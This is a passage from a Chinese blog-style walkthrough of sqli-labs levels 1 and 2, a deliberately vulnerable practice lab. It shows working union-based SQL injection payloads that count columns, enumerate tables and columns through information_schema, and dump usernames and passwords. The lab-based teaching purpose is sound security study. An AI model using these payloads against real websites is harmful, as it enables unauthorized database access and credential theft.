sqli-labs注入练习1,2关

sqli-labs第一关

判断是否存在sql注入

可见,根据输入数字的不同,结果也不同

判断sql语句是否是拼接,且是字符型还是数字型

由上可见,这关指定是字符型且存在sql注入漏洞

使用联合注入

第一步:首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

第二步:爆出显示位,就是看看表格里面那一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3--+

第三步:获取当前数据名和版本号。

?id=-1'union select 1,database(),version()--+

第四步: 爆表

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

第五步:爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

第六步:通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

sqli-labs第二关

和第一关是一样进行判断,当我们输入单引号或者双引号可以看到报错,且报错信息看不到数字,所有我们可以猜测sql语句应该是数字型注入。

加注释还是提示报错,证明是数字型

进行一个联合查询。?id=-1 union select 1,2,3 --+

使用order by 1到order by 4发现order by 4时查看到列数只有四个。

接着查看它的数据库名字和版本号在实战中就可以用以在网上查找该版本相应的漏洞之类的。?id=-1 union select 1,database(),version()--+,查看到数据库名为security,版本为5.7.26.

再查找出在MySQL自带库information_schema中存在的table表(表名)则通过?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+查询出表名。

或者输入?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+。其效果也是一样

然后我们继续深入查看users这张表,输入?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+。发现其中包含有username和password这两张我们的最终目的表。

最后查询这两张表中的数据拿到我们想要的用户名和密码,输入?id=-1 union select 1,username,password from users where id=2 --+

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值